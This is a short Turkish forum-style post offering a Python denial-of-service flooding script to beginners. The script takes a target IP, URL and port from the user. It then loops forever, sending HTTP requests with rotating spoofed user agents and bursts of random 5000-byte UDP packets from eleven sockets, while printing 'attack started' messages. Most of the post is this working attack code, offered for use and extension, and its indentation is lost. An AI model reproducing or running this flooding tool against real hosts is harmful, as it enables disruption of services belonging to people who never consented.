Merhaba dostlar,aşağıda kısa bir sürede yazdığım pekte etki etmeyen bir kod var.Amacı ise yeni olan kişiler için ufak bir örnek veya istediğiniz gibi eklemeler yapabilmek.
Açıklama:İlk önce user_agentleri belirliyorum ondan sonrasında ise kullanıcıdan hedef ip,url ve hedef portu alıyorum.4 saniye bekleyip sayac adında bir integer değişken tanımlıyorum.Sonra ise bir döngü açıp içerisine yazdığım user-agentslerden herhangi birini seçen random.choice(user) kodunu ekliyorum ve seçilen random user-agenti headera tanımlıyorum.Requests kütüphanesi ile hedef urlye her saniye random User-agentsler ile istek gönderiyorum.Sonra ise 10 adet socket oluşturup rastgele byteler ile bunları hedef_ip ve hedep_porta gönderip kapatıyorum.
Python:
import socket
import time
import random
import requests
user = [
"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36",
"Mozilla/5.0 (iPad; CPU OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53"
]
hedef_ip = input("[+] Hedef IP Adresi:")
hedef_url = input("[+] Hedef URL:")
hedef_port = int(input("[+] Hedef Port:"))
print("Saldırı Başlatılıyor...")
time.sleep(4)
sayac = 0
bytes = random._urandom(5000)
while True:
user_agent = random.choice(user)
header = {
"User-Agent":user_agent
}
requests.get(url=hedef_url,headers=header)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print("Socket Oluşturuluyor...")
time.sleep(0.5)
s1 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print("Socket Oluşturuluyor...")
time.sleep(0.5)
s2 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print("Socket Oluşturuluyor...")
time.sleep(0.5)
s3 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print("Socket Oluşturuluyor...")
time.sleep(0.5)
s4 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print("Socket Oluşturuluyor...")
time.sleep(0.5)
s5 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print("Socket Oluşturuluyor...")
time.sleep(0.5)
s6 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print("Socket Oluşturuluyor...")
time.sleep(0.5)
s7 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print("Socket Oluşturuluyor...")
time.sleep(0.5)
s8 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print("Socket Oluşturuluyor...")
time.sleep(0.5)
s9 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print("Socket Oluşturuluyor...")
time.sleep(0.5)
s10 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print("Socket Oluşturuluyor...")
time.sleep(0.5)
s.sendto(bytes,(hedef_ip,hedef_port))
s1.sendto(bytes,(hedef_ip,hedef_port))
s2.sendto(bytes,(hedef_ip,hedef_port))
s3.sendto(bytes,(hedef_ip,hedef_port))
s4.sendto(bytes,(hedef_ip,hedef_port))
s5.sendto(bytes,(hedef_ip,hedef_port))
s6.sendto(bytes,(hedef_ip,hedef_port))
s7.sendto(bytes,(hedef_ip,hedef_port))
s8.sendto(bytes,(hedef_ip,hedef_port))
s9.sendto(bytes,(hedef_ip,hedef_port))
s10.sendto(bytes,(hedef_ip,hedef_port))
sayac = sayac + 1
print("Saldırı Başlatıldı!Gönderilen Paket:%s"%(sayac))



